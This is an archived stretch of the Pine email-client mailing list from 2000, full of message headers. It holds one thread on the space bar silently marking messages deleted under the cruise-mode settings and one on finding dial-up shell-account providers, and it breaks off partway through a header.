To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: space-to-next-message
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN


Ok, now I'm confused by pine's behavior.  I was trying to use it as an
example of the behavior I *want*, but now it seems like it doesn't
do what I want and in fact acts strangely.

1) Is space supposed to go to the next message when you are just spacing
through messages?  (i.e. hit the end of one message)

I want it _NOT_ to, and I had thought that this was actually pine's behavior.

Space DOES seem to go to the next message IF you have other new messages..
otherwise it just stays there at the end of the message you're viewing.

HOWEVER, even when you space at the end of the message, and it says
                          [Already at end of message]
it MARKS YOUR MESSAGE AS DELETED, _WITHOUT_ showing "DEL" in the upper
right hand corner (nor saying message marked deleted or anything).

This seems awfully bad to me, and can cause data loss since the 
user didn't realize their message was marked deleted.



and my original question remains -- is there any way I can space through
messages (to do paging), but NEVER go to the next message nor mark messages
deleted?

-- 
-----------------------------------------------------------------
 For information about this mailing list, and its archives, see: 
 http://www.washington.edu/pine/pine-info/
-----------------------------------------------------------------

From pinedev@shiva0.cac.washington.edu Tue Sep  5 12:07:06 2000 -0700
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Tue, 5 Sep 2000 12:07:06 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA26088;
	Tue, 5 Sep 2000 12:07:04 -0700 (PDT)
Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2])
	by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA04518;
	Tue, 5 Sep 2000 12:07:04 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id MAA00685;
	Tue, 5 Sep 2000 12:06:04 -0700
Received: from jason03.u.washington.edu (root@jason03.u.washington.edu [140.142.77.10])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id MAA46078
	for <pine-info@lists.u.washington.edu>; Tue, 5 Sep 2000 12:05:03 -0700
Received: from dante29.u.washington.edu (leibrand@dante29.u.washington.edu [140.142.15.211])
	by jason03.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.01) with ESMTP id MAA55914;
	Tue, 5 Sep 2000 12:05:02 -0700
Received: from localhost (leibrand@localhost)
	by dante29.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id MAA46350;
	Tue, 5 Sep 2000 12:05:02 -0700
Message-Id: <Pine.A41.4.29.999.0009051204410.70086-100000@dante29.u.washington.edu>
Date: Tue, 5 Sep 2000 12:04:58 -0700 (PDT)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: Scott Leibrand <leibrand+pine@u.washington.edu>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: Re: space-to-next-message
In-Reply-To: <Pine.GSO.4.21.0009051141320.25212-100000@vax.area.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-To: mattack@area.com
X-Cc: Pine Discussion Forum <pine-info@u.washington.edu>
X-Sender: leibrand@dante29.u.washington.edu
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

Disable these two options in Main, Setup, Config:

            [ ]  enable-cruise-mode
            [ ]  enable-cruise-mode-delete

-- 
Scott Leibrand
leibrand+pine@u.washington.edu            (Yes, that is a valid address.)
http://students.washington.edu/leibrand
http://www.nwlink.com/~leibrand
* RCW 19.190 notice: This email address is located in Washington State. *
* Unsolicited commercial email may be billed $500 per message.          *

On Tue, 5 Sep 2000 mattack@area.com wrote:

>
> Ok, now I'm confused by pine's behavior.  I was trying to use it as an
> example of the behavior I *want*, but now it seems like it doesn't
> do what I want and in fact acts strangely.
>
> 1) Is space supposed to go to the next message when you are just spacing
> through messages?  (i.e. hit the end of one message)
>
> I want it _NOT_ to, and I had thought that this was actually pine's behavior.
>
> Space DOES seem to go to the next message IF you have other new messages..
> otherwise it just stays there at the end of the message you're viewing.
>
> HOWEVER, even when you space at the end of the message, and it says
>                           [Already at end of message]
> it MARKS YOUR MESSAGE AS DELETED, _WITHOUT_ showing "DEL" in the upper
> right hand corner (nor saying message marked deleted or anything).
>
> This seems awfully bad to me, and can cause data loss since the
> user didn't realize their message was marked deleted.
>
>
>
> and my original question remains -- is there any way I can space through
> messages (to do paging), but NEVER go to the next message nor mark messages
> deleted?
>
> --
> -----------------------------------------------------------------
>  For information about this mailing list, and its archives, see:
>  http://www.washington.edu/pine/pine-info/
> -----------------------------------------------------------------
>


From pinedev@shiva0.cac.washington.edu Tue Sep  5 12:11:10 2000 -0700
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Tue, 5 Sep 2000 12:11:10 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA22085;
	Tue, 5 Sep 2000 12:11:09 -0700 (PDT)
Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2])
	by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA29848;
	Tue, 5 Sep 2000 12:11:08 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id MAA00987;
	Tue, 5 Sep 2000 12:10:19 -0700
Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id MAA41770
	for <pine-info@lists.u.washington.edu>; Tue, 5 Sep 2000 12:09:07 -0700
Received: from vax.area.com (vax.area.com [216.218.218.27])
	by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id MAA09271
	for <pine-info@u.washington.edu>; Tue, 5 Sep 2000 12:09:07 -0700
Received: (qmail 11633 invoked by uid 1828); 5 Sep 2000 19:05:59 -0000
Message-Id: <Pine.GSO.4.21.0009051204100.25212-100000@vax.area.com>
Date: Tue, 5 Sep 2000 12:05:59 -0700 (PDT)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: mattack@area.com
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: Re: space-to-next-message
In-Reply-To: <Pine.A41.4.29.999.0009051204410.70086-100000@dante29.u.washington.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-To: Scott Leibrand <leibrand+pine@u.washington.edu>,
        pine-info@u.washington.edu
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

On Tue, 5 Sep 2000, Scott Leibrand wrote:

>Date: Tue, 5 Sep 2000 12:04:58 -0700 (PDT)
>From: Scott Leibrand <leibrand+pine@u.washington.edu>
>To: mattack@area.com
>Cc: Pine Discussion Forum <pine-info@u.washington.edu>
>Subject: Re: space-to-next-message
>
>Disable these two options in Main, Setup, Config:
>
>            [ ]  enable-cruise-mode
>            [ ]  enable-cruise-mode-delete

Ok.. I was pretty dang sure I had seen this functionality in the preferences
before.. but wow, those aren't named very logically!

Also, being able to have #2 enabled without #1 enabled seems bad..  which
is exactly how I had it set.  Seems to me that the latter should be
dependant upon the former being set.

PLUS, even with this functionality, the problem of not seeing "DEL" at the
top of the screen still remains.


From pinedev@shiva0.cac.washington.edu Tue Sep  5 12:17:26 2000 -0700
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Tue, 5 Sep 2000 12:17:25 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA04888;
	Tue, 5 Sep 2000 12:17:24 -0700 (PDT)
Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6])
	by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA30122;
	Tue, 5 Sep 2000 12:17:24 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id MAA13608;
	Tue, 5 Sep 2000 12:16:25 -0700
Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id MAA143590
	for <pine-info@lists.u.washington.edu>; Tue, 5 Sep 2000 12:15:43 -0700
Received: from euler.math.washington.edu (root@euler.math.washington.edu [128.95.224.1])
	by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA08056
	for <pine-info@u.washington.edu>; Tue, 5 Sep 2000 12:15:43 -0700
Received: from goedel1.math.washington.edu (chappa@goedel1.math.washington.edu [128.95.224.2])
	by euler.math.washington.edu (8.9.3/8.9.3) with ESMTP id MAA29127;
	Tue, 5 Sep 2000 12:15:41 -0700 (PDT)
Message-Id: <Pine.OSF.4.21.0009051212190.18059-100000@goedel1.math.washington.edu>
Date: Tue, 5 Sep 2000 12:15:41 -0700 (PDT)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: Eduardo Chappa <chappa@math.washington.edu>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: Re: space-to-next-message
In-Reply-To: <Pine.GSO.4.21.0009051204100.25212-100000@vax.area.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-To: mattack@area.com
X-Cc: Pine Discussion Forum <pine-info@u.washington.edu>
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

*** mattack@area.com wrote in the pine-info list about "Re:
space-to-next-message" today:

:) PLUS, even with this functionality, the problem of not seeing "DEL" at the
:) top of the screen still remains.

But the top of the screen refers only to the current message, if you press
the space bar you go to another message, so DEL does not apply to that
message yet. Maybe what you are thinking of is some kind of message at the
bottom of the screen that says something like "previous read message
marked deleted" or something like that.

-- 
Eduardo
http://www.math.washington.edu/~chappa/pine/



From pinedev@shiva0.cac.washington.edu Tue Sep  5 12:20:22 2000 -0700
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Tue, 5 Sep 2000 12:20:22 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA24972;
	Tue, 5 Sep 2000 12:20:20 -0700 (PDT)
Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2])
	by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA05111;
	Tue, 5 Sep 2000 12:20:20 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id MAA01618;
	Tue, 5 Sep 2000 12:19:37 -0700
Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id MAA47196
	for <pine-info@lists.u.washington.edu>; Tue, 5 Sep 2000 12:19:07 -0700
Received: from islander.whidbey.net (root@islander.whidbey.net [204.57.140.1])
	by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA17575
	for <pine-info@u.washington.edu>; Tue, 5 Sep 2000 12:19:07 -0700
Received: from asn74.whidbey.net (asn74.whidbey.net [204.57.140.144])
	by islander.whidbey.net (8.9.3/8.9.3) with ESMTP id MAA19140;
	Tue, 5 Sep 2000 12:18:59 -0700 (PDT)
Message-Id: <Pine.WNT.4.21.0009051217280.-367377@personal>
Date: Tue, 5 Sep 2000 12:19:23 -0700 (Pacific Daylight Time)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: David Rientjes <rientjes@mail.whidbey.net>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: Re: space-to-next-message
In-Reply-To: <Pine.GSO.4.21.0009051204100.25212-100000@vax.area.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-To: mattack@area.com
X-Cc: pine-info@u.washington.edu
X-X-Sender: rientjes@mail.whidbey.net
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

On Tue, 5 Sep 2000 mattack@area.com wrote:

>>            [ ]  enable-cruise-mode
>>            [ ]  enable-cruise-mode-delete
>
>Also, being able to have #2 enabled without #1 enabled seems bad..  which
>is exactly how I had it set.  Seems to me that the latter should be
>dependant upon the former being set.
>

I agree.  Perhaps in the future it will be possible to allow preferences
to be set if others are set (i.e. if enable-cruise-mode-delete is set by
the user, enable-cruise-mode is also set).  This way the only way to have
the resultant behavior as you did would be to actually edit the
"pinerc" file yourself and set them manually.

There would be other uses for this as well: such as enabling
expunge-without-confirm when expunge-without-confirm-everywhere is
enabled.

-- David Rientjes


From pinedev@shiva0.cac.washington.edu Tue Sep  5 12:29:38 2000 -0700
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Tue, 5 Sep 2000 12:29:38 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA09621;
	Tue, 5 Sep 2000 12:29:37 -0700 (PDT)
Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2])
	by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA30528;
	Tue, 5 Sep 2000 12:29:36 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id MAA02345;
	Tue, 5 Sep 2000 12:28:51 -0700
Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id MAA43018
	for <pine-info@lists.u.washington.edu>; Tue, 5 Sep 2000 12:28:13 -0700
Received: from vax.area.com (vax.area.com [216.218.218.27])
	by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id MAA04120
	for <pine-info@u.washington.edu>; Tue, 5 Sep 2000 12:28:13 -0700
Received: (qmail 24159 invoked by uid 1828); 5 Sep 2000 19:25:01 -0000
Message-Id: <Pine.GSO.4.21.0009051224540.25212-100000@vax.area.com>
Date: Tue, 5 Sep 2000 12:25:01 -0700 (PDT)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: mattack@area.com
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: Re: space-to-next-message
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

On Tue, 5 Sep 2000, Eduardo Chappa wrote:
>*** mattack@area.com wrote in the pine-info list about "Re:
>space-to-next-message" today:
>
>:) PLUS, even with this functionality, the problem of not seeing "DEL" at the
>:) top of the screen still remains.
>
>But the top of the screen refers only to the current message, if you press
>the space bar you go to another message, so DEL does not apply to that
>message yet. Maybe what you are thinking of is some kind of message at the
>bottom of the screen that says something like "previous read message
>marked deleted" or something like that.

No, what I was talking about was when I had
            [ ]  enable-cruise-mode-delete
set, but
            [ ]  enable-cruise-mode
NOT SET.

I have no idea how/when I got into this state in the first place.  But
in this situation, it DELETES the current message without moving
to the next message... and without telling you in the header that the
message was marked deleted.  I only noticed it after I went into index
mode (the message list).

Relatively minor, but esp since pine is supposedly for beginning users,
could be a serious problem for some users.

Plus as I'm not sure if I mentioned it in my other reply -- "cruise-mode"
isn't a very good name.

Something more blatantly obvious like "space-next-message-mode" would
have made me more likely to see it in the prefs.



From pinedev@shiva0.cac.washington.edu Sun ???  0 00:00:00 1970 +0000
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Wed, 6 Sep 2000 05:31:20 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id FAA11847;
	Wed, 6 Sep 2000 05:31:19 -0700 (PDT)
Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3])
	by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id FAA31439;
	Wed, 6 Sep 2000 05:31:18 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id FAA04862;
	Wed, 6 Sep 2000 05:30:38 -0700
Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id FAA61886
	for <pine-info@lists.u.washington.edu>; Wed, 6 Sep 2000 05:29:36 -0700
Received: from mail.ptd.net (mail2.ha-net.ptd.net [207.44.96.98])
	by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id FAA20763
	for <pine-info@u.washington.edu>; Wed, 6 Sep 2000 05:29:35 -0700
Received: (qmail 25943 invoked from network); 6 Sep 2000 12:29:31 -0000
Received: from home2.ha-net.ptd.net (HELO home2) (204.186.200.2)
  by mail.ptd.net with SMTP; 6 Sep 2000 12:29:31 -0000
Message-Id: <Pine.GSO.4.10.10009060826440.3906-100000@home2>
Date: Wed, 6 Sep 2000 08:30:02 -0400 (EDT)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: PTD-055944 <palencar@ptdprolog.net>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: "Nationwide" Pine Servers?
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Sender: palencar@home2
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

The only server in my community that still offers text-only, "shell"
accounts is phasing them out.  If anyone on this group could refer me to
any nationwide server (toll calls may not be a matter of choice, I know),
I would be really grateful to get the information.

Thanks.

-- 
-----------------------------------------------------------------
 For information about this mailing list, and its archives, see: 
 http://www.washington.edu/pine/pine-info/
-----------------------------------------------------------------

From pinedev@shiva0.cac.washington.edu Sun ???  0 00:00:00 1970 +0000
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Wed, 6 Sep 2000 06:03:34 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id GAA04257;
	Wed, 6 Sep 2000 06:03:33 -0700 (PDT)
Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3])
	by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id GAA31993;
	Wed, 6 Sep 2000 06:03:33 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id GAA05501;
	Wed, 6 Sep 2000 06:02:56 -0700
Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id GAA138090
	for <pine-info@lists.u.washington.edu>; Wed, 6 Sep 2000 06:02:22 -0700
Received: from konichiwa.cc.columbia.edu (IDENT:cu43432@konichiwa.cc.columbia.edu [128.59.59.132])
	by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id GAA00673
	for <pine-info@u.washington.edu>; Wed, 6 Sep 2000 06:02:21 -0700
Received: from localhost by konichiwa.cc.columbia.edu (8.9.3/8.9.3) with ESMTP id JAA29737;
	Wed, 6 Sep 2000 09:02:20 -0400 (EDT)
Message-Id: <Pine.GSO.4.10.10009060900530.18925-100000@konichiwa.cc.columbia.edu>
Date: Wed, 6 Sep 2000 09:02:20 -0400 (EDT)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: Freda B Birnbaum <fbb6@columbia.edu>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: Re: "Nationwide" Pine Servers?
In-Reply-To: <Pine.GSO.4.10.10009060826440.3906-100000@home2>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Sender: fbb6@columbia.edu
X-To: Pine Discussion Forum <pine-info@u.washington.edu>
X-Cc: Freda B Birnbaum <fbb6@columbia.edu>
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

On Wed, 6 Sep 2000, PTD-055944 wrote:

> The only server in my community that still offers text-only, "shell"
> accounts is phasing them out.  If anyone on this group could refer me
> to any nationwide server (toll calls may not be a matter of choice, I
> know), I would be really grateful to get the information.

I may have misunderstood your question, but someone told me that IDT has
them.  This may not be current, though.

Freda Birnbaum, fbb6@columbia.edu
"Call on God, but row away from the rocks"


From pinedev@shiva0.cac.washington.edu Sun ???  0 00:00:00 1970 +0000
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Wed, 6 Sep 2000 06:33:32 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id GAA15515;
	Wed, 6 Sep 2000 06:33:31 -0700 (PDT)
Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2])
	by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id GAA32506;
	Wed, 6 Sep 2000 06:33:31 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id GAA23583;
	Wed, 6 Sep 2000 06:32:32 -0700
Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id GAA138174
	for <pine-info@lists.u.washington.edu>; Wed, 6 Sep 2000 06:31:54 -0700
Received: from mail.i.linux.com (IDENT:root@mail.linux.com [198.186.203.59])
	by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id GAA03065
	for <pine-info@u.washington.edu>; Wed, 6 Sep 2000 06:31:54 -0700
Received: from shiftq.linux.com (IDENT:mail@shiftq.linux.com [10.1.1.10])
	by mail.i.linux.com (8.11.0.Beta3/8.11.0.Beta3) with ESMTP id e86DVrr16165;
	Wed, 6 Sep 2000 06:31:53 -0700
Received: from localhost (dwild@localhost)
	by shiftq.linux.com (8.9.3/8.9.3) with ESMTP id GAA14672;
	Wed, 6 Sep 2000 06:31:53 -0700
Message-Id: <Pine.LNX.4.21.0009060922050.4452-100000@shiftq.linux.com>
Date: Wed, 6 Sep 2000 09:31:53 -0400 (EDT)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: Derek Wildstar <dwild@linux.com>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: Re: "Nationwide" Pine Servers?
In-Reply-To: <Pine.GSO.4.10.10009060900530.18925-100000@konichiwa.cc.columbia.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-To: Freda B Birnbaum <fbb6@columbia.edu>
X-Cc: Pine Discussion Forum <pine-info@u.washington.edu>
X-Authentication-Warning: shiftq.linux.com: dwild owned process doing -bs
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

On Wed, 6 Sep 2000, Freda B Birnbaum wrote:

> On Wed, 6 Sep 2000, PTD-055944 wrote:
> 
> > The only server in my community that still offers text-only, "shell"
> > accounts is phasing them out.  If anyone on this group could refer me
> > to any nationwide server (toll calls may not be a matter of choice, I
> > know), I would be really grateful to get the information.
> 
> I may have misunderstood your question, but someone told me that IDT has
> them.  This may not be current, though.
> 
> Freda Birnbaum, fbb6@columbia.edu
> "Call on God, but row away from the rocks"

Check http://www.eskimo.com, I used to be a sysadmin there and the owner
is very old-school, they offer nationwide dialup thru
MegaPOP.  (voice: 1-800-246-6874; email support@eskimo.com)

-dwild



From pinedev@shiva0.cac.washington.edu Sun ???  0 00:00:00 1970 +0000
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Wed, 6 Sep 2000 06:39:52 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id GAA07955;
	Wed, 6 Sep 2000 06:39:51 -0700 (PDT)
Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3])
	by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id GAA32623;
	Wed, 6 Sep 2000 06:39:51 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id GAA06139;
	Wed, 6 Sep 2000 06:38:11 -0700
Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id GAA15498
	for <pine-info@lists.u.washington.edu>; Wed, 6 Sep 2000 06:37:41 -0700
Received: from mail.i.linux.com (IDENT:root@mail.linux.com [198.186.203.59])
	by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id GAA03496
	for <pine-info@u.washington.edu>; Wed, 6 Sep 2000 06:37:41 -0700
Received: from shiftq.linux.com (IDENT:mail@shiftq.linux.com [10.1.1.10])
	by mail.i.linux.com (8.11.0.Beta3/8.11.0.Beta3) with ESMTP id e86Dber16364
